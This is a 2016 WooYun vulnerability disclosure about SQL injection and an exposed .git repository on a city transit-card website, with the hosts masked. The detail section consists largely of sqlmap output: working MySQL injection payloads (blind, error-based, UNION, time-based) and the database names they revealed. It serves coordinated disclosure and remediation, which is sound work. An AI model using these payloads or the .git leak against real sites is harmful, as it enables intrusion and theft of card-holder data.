当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170274

漏洞标题:某市一卡通存在大量sql注入/服务配置不当

相关厂商:cncert国家互联网应急中心

漏洞作者: 陆由乙

提交时间:2016-01-16 11:24

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-16: 细节已通知厂商并且等待厂商处理中
2016-01-20: 厂商已经确认,细节仅向厂商公开
2016-01-30: 细节向核心白帽子及相关领域专家公开
2016-02-09: 细节向普通白帽子公开
2016-02-19: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

。。。。。。。。。我记得我2年前搞这个站的时候还是甲骨文的数据库,现在变成mysql了。

详细说明:

http://**.**.**.**/news/news?city=1301&id=492
[17:17:16] [INFO] GET parameter 'city' is 'MySQL UNION query (random number) - 1
to 20 columns' injectable
GET parameter 'city' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] n
sqlmap identified the following injection points with a total of 87 HTTP(s) requ
ests:
---
Parameter: city (GET)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: city=1301) RLIKE (SELECT (CASE WHEN (1561=1561) THEN 1301 ELSE 0x28
END)) AND (6250=6250&id=492
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: city=1301) AND (SELECT 9489 FROM(SELECT COUNT(*),CONCAT(0x71707a7a7
1,(SELECT (CASE WHEN (9489=9489) THEN 1 ELSE 0 END)),0x717a6b7871,FLOOR(RAND(0)*
2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (8884=8884&id=492
Type: UNION query
Title: MySQL UNION query (random number) - 2 columns
Payload: city=-2145) UNION ALL SELECT 9571,CONCAT(0x71707a7a71,0x627a5778644
972444d45,0x717a6b7871)#&id=492
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: city=-9863) OR 7767=SLEEP(5) AND (8061=8061&id=492
---
[17:35:43] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0
[17:35:43] [INFO] fetching database names
[17:35:43] [WARNING] the SQL query provided does not return any output
[17:35:43] [INFO] the SQL query used returns 14 entries
[17:35:43] [INFO] retrieved: information_schema
[17:35:43] [INFO] retrieved: card
[17:35:44] [INFO] retrieved: card_center
[17:35:44] [INFO] retrieved: card_test
[17:35:44] [INFO] retrieved: card_test_center
[17:35:44] [INFO] retrieved: game
[17:35:44] [INFO] retrieved: hbdb
[17:35:48] [INFO] retrieved: mysql
[17:35:48] [INFO] retrieved: t_etc_truck
[17:35:51] [INFO] retrieved: test
[17:35:51] [INFO] retrieved: weixinyikatong
[17:35:51] [INFO] retrieved: yikatong
[17:35:52] [INFO] retrieved: yktweb
[17:35:52] [INFO] retrieved: yktwebbak
available databases [14]:
[*] card
[*] card_center
[*] card_test
[*] card_test_center
[*] game
[*] hbdb
[*] information_schema
[*] mysql
[*] t_etc_truck
[*] test
[*] weixinyikatong
[*] yikatong
[*] yktweb
[*] yktwebbak

漏洞证明:

http://**.**.**.**/card/index?type=4&cityId=1301
http://**.**.**.**/business/business?bid=7720&aid=2327&cityId=1301
http://**.**.**.**/business/list?cityId=1301
http://**.**.**.**/company/detail?city=1301&id=2
http://**.**.**.**/help/list?type=8
http://**.**.**.**/business/business?cityId=1301&aid=1469&bid=6643
http://**.**.**.**/business/list?cityId=1301
http://**.**.**.**/company/detail?city=1301&id=1
http://**.**.**.**/?cityId=1301
全是SQL注入,用的thinkphp的框架。
http://**.**.**.**/.git/config
git泄漏。
https://**.**.**.**/huanglifen/yktweb
可以直接下载代码。
但是没有数据库。

修复方案:

结构化查询,删除.git。

版权声明:转载请注明来源 陆由乙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-20 09:57

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给河北分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价